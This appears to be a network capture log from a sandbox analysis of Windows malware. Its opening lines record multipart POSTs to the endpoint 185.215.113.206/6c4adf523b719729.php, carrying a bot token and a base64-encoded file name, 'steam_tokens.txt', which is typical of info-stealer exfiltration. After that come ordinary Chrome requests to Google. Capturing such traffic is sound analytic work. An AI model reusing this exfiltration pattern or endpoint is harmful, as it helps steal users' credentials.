Oct 31, 2024 07:14:37.152822018 CET	565	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AKJEGCFBGDHJJJJJKJEC Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 31 37 66 38 37 35 66 65 32 37 32 36 33 33 64 35 66 34 30 65 32 30 38 66 32 37 36 32 32 30 63 65 66 36 39 62 66 30 62 30 65 39 64 32 35 63 30 61 38 38 37 62 38 31 39 62 61 66 32 34 37 31 33 63 34 34 37 65 38 37 31 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AKJEGCFBGDHJJJJJKJECContent-Disposition: form-data; name="token"b17f875fe272633d5f40e208f276220cef69bf0b0e9d25c0a887b819baf24713c447e871------AKJEGCFBGDHJJJJJKJECContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AKJEGCFBGDHJJJJJKJECContent-Disposition: form-data; name="file"------AKJEGCFBGDHJJJJJKJEC--
Oct 31, 2024 07:14:37.934731960 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:14:37 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 07:14:37.961258888 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----GCBGCGHDGIEGCBFIEGCB Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 47 43 42 47 43 47 48 44 47 49 45 47 43 42 46 49 45 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 31 37 66 38 37 35 66 65 32 37 32 36 33 33 64 35 66 34 30 65 32 30 38 66 32 37 36 32 32 30 63 65 66 36 39 62 66 30 62 30 65 39 64 32 35 63 30 61 38 38 37 62 38 31 39 62 61 66 32 34 37 31 33 63 34 34 37 65 38 37 31 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 47 48 44 47 49 45 47 43 42 46 49 45 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 47 43 42 47 43 47 48 44 47 49 45 47 43 42 46 49 45 47 43 42 2d 2d 0d 0a Data Ascii: ------GCBGCGHDGIEGCBFIEGCBContent-Disposition: form-data; name="token"b17f875fe272633d5f40e208f276220cef69bf0b0e9d25c0a887b819baf24713c447e871------GCBGCGHDGIEGCBFIEGCBContent-Disposition: form-data; name="message"ybncbhylepme------GCBGCGHDGIEGCBFIEGCB--
Oct 31, 2024 07:14:38.251727104 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:14:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=86 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 31, 2024 07:14:38.258932114 CET	474	OUT	POST /6c4adf523b719729.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFBAKKFCBFHIIEBGIDBG Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 42 41 4b 4b 46 43 42 46 48 49 49 45 42 47 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 62 31 37 66 38 37 35 66 65 32 37 32 36 33 33 64 35 66 34 30 65 32 30 38 66 32 37 36 32 32 30 63 65 66 36 39 62 66 30 62 30 65 39 64 32 35 63 30 61 38 38 37 62 38 31 39 62 61 66 32 34 37 31 33 63 34 34 37 65 38 37 31 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 41 4b 4b 46 43 42 46 48 49 49 45 42 47 49 44 42 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 41 46 42 41 4b 4b 46 43 42 46 48 49 49 45 42 47 49 44 42 47 2d 2d 0d 0a Data Ascii: ------AFBAKKFCBFHIIEBGIDBGContent-Disposition: form-data; name="token"b17f875fe272633d5f40e208f276220cef69bf0b0e9d25c0a887b819baf24713c447e871------AFBAKKFCBFHIIEBGIDBGContent-Disposition: form-data; name="message"wkkjqaiaxkhb------AFBAKKFCBFHIIEBGIDBG--
Oct 31, 2024 07:14:39.046547890 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:14:38 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=85 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49736	172.217.16.196	443	7980	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:14:13 UTC	607	OUT	GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 06:14:14 UTC	1266	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 06:14:14 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-fLskSfyllKSbNIe-ElpCNQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-31 06:14:14 UTC	112	IN	Data Raw: 33 33 63 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 63 61 72 61 62 61 6f 20 63 75 70 20 68 69 67 68 6c 69 67 68 74 73 20 6d 61 6e 63 68 65 73 74 65 72 20 75 6e 69 74 65 64 22 2c 22 6d 69 63 72 6f 73 74 72 61 74 65 67 79 20 62 69 74 63 6f 69 6e 22 2c 22 64 69 73 6e 65 79 20 70 6c 75 73 20 64 65 61 64 70 6f 6f 6c 20 77 6f 6c 76 65 72 69 6e Data Ascii: 33c)]}'["",["carabao cup highlights manchester united","microstrategy bitcoin","disney plus deadpool wolverin
2024-10-31 06:14:14 UTC	723	IN	Data Raw: 65 22 2c 22 6d 79 73 74 65 72 79 20 6d 61 6e 6f 72 20 6d 6f 6e 6f 70 6f 6c 79 20 67 6f 20 72 65 77 61 72 64 73 22 2c 22 61 62 64 75 6c 72 61 73 68 69 64 20 73 61 64 75 6c 61 65 76 20 76 73 20 64 61 76 69 64 20 74 61 79 6c 6f 72 22 2c 22 74 79 6c 65 72 20 74 68 65 20 63 72 65 61 74 6f 72 20 63 68 72 6f 6d 61 6b 6f 70 69 61 20 61 6c 62 75 6d 22 2c 22 6a 61 79 77 61 6c 6b 69 6e 67 20 6e 79 63 20 6c 61 77 22 2c 22 66 72 69 73 63 68 5c 75 30 30 32 37 73 20 62 69 67 20 62 6f 79 73 20 65 76 69 63 74 69 6f 6e 73 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c Data Ascii: e","mystery manor monopoly go rewards","abdulrashid sadulaev vs david taylor","tyler the creator chromakopia album","jaywalking nyc law","frisch\u0027s big boys evictions"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"googl
2024-10-31 06:14:14 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49738	172.217.16.196	443	7980	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:14:14 UTC	510	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiTocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 06:14:14 UTC	1042	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 31 Oct 2024 06:14:14 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-10-31 06:14:14 UTC	336	IN	Data Raw: 32 31 63 62 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 31 64 20 67 62 5f 50 65 20 67 62 5f 70 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 21cb)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_1d gb_Pe gb_pd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-10-31 06:14:14 UTC	1378	IN	Data Raw: 20 67 62 5f 6e 64 20 67 62 5f 45 64 20 67 62 5f 6b 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 71 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 Data Ascii: gb_nd gb_Ed gb_kd\"\u003e\u003cdiv class\u003d\"gb_vd gb_qd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u00
2024-10-31 06:14:14 UTC	1378	IN	Data Raw: 30 33 63 5c 2f 61 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 74 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 76 Data Ascii: 03c\/a\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_vd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_td\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_v
2024-10-31 06:14:14 UTC	1378	IN	Data Raw: 76 67 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 Data Ascii: vg class\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810
2024-10-31 06:14:14 UTC	1378	IN	Data Raw: 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 32 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 Data Ascii: 0.9,2 2,2zM12,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18
2024-10-31 06:14:14 UTC	1378	IN	Data Raw: 32 22 5d 2c 22 6d 65 6e 75 5f 70 6c 61 63 65 68 6f 6c 64 65 72 5f 6c 61 62 65 6c 22 3a 22 6d 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 32 36 32 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 Data Ascii: 2"],"menu_placeholder_label":"menu-content","metadata":{"bar_height":60,"experiment_id":[3700262,3700949,3701384],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar
2024-10-31 06:14:14 UTC	1378	IN	Data Raw: 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 59 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d 3b 5f 2e 5a 64 5c 75 30 30 33 64 6e 65 77 20 5f 2e 59 64 28 5c 22 61 62 6f 75 74 3a 69 6e 76 61 6c 69 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 56 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 68 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 24 64 5c 75 30 30 33 64 5b 57 64 28 5c 22 64 61 74 61 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 5c 22 29 2c 57 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 57 64 28 5c 22 6d 61 69 6c 74 6f 5c Data Ascii: globalThis.trustedTypes;_.Yd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}};_.Zd\u003dnew _.Yd(\"about:invalid#zClosurez\");_.Vd\u003dclass{constructor(a){this.hh\u003da}};_.$d\u003d[Wd(\"data\"),Wd(\"http\"),Wd(\"https\"),Wd(\"mailto\
2024-10-31 06:14:14 UTC	55	IN	Data Raw: 3b 72 65 74 75 72 6e 20 61 7d 3b 5f 2e 6f 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 29 7b 6c 65 74 20 0d 0a Data Ascii: ;return a};_.oe\u003dfunction(a,b\u003ddocument){let
2024-10-31 06:14:14 UTC	369	IN	Data Raw: 31 36 61 0d 0a 63 2c 64 3b 62 5c 75 30 30 33 64 28 64 5c 75 30 30 33 64 28 63 5c 75 30 30 33 64 5c 22 64 6f 63 75 6d 65 6e 74 5c 22 69 6e 20 62 3f 62 2e 64 6f 63 75 6d 65 6e 74 3a 62 29 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 29 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 70 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 54 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c Data Ascii: 16ac,d;b\u003d(d\u003d(c\u003d\"document\"in b?b.document:b).querySelector)\u003d\u003dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.pe\u003dfunction(a){var b\u003d_.Ta(a);return b\u003d\
2024-10-31 06:14:14 UTC	1378	IN	Data Raw: 38 30 30 30 0d 0a 2c 63 29 7b 72 65 74 75 72 6e 20 5f 2e 41 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 72 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 64 65 28 5f 2e 59 63 28 61 2c 62 29 29 7d 3b 5f 2e 53 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 63 65 28 5f 2e 59 63 28 61 2c 62 29 29 7d 3b 5f 2e 54 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f 2e 42 62 28 5f 2e 72 65 28 61 2c 62 29 2c 63 29 7d 3b 5f 2e 73 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f 2e 42 62 28 5f 2e 53 28 61 Data Ascii: 8000,c){return _.Ab(a,b,c,!1)!\u003d\u003dvoid 0};_.re\u003dfunction(a,b){return _.de(_.Yc(a,b))};_.S\u003dfunction(a,b){return _.ce(_.Yc(a,b))};_.T\u003dfunction(a,b,c\u003d0){return _.Bb(_.re(a,b),c)};_.se\u003dfunction(a,b,c\u003d0){return _.Bb(_.S(a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49737	172.217.16.196	443	7980	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 06:14:14 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-31 06:14:14 UTC	957	IN	HTTP/1.1 200 OK Version: 689297125 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Thu, 31 Oct 2024 06:14:14 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; 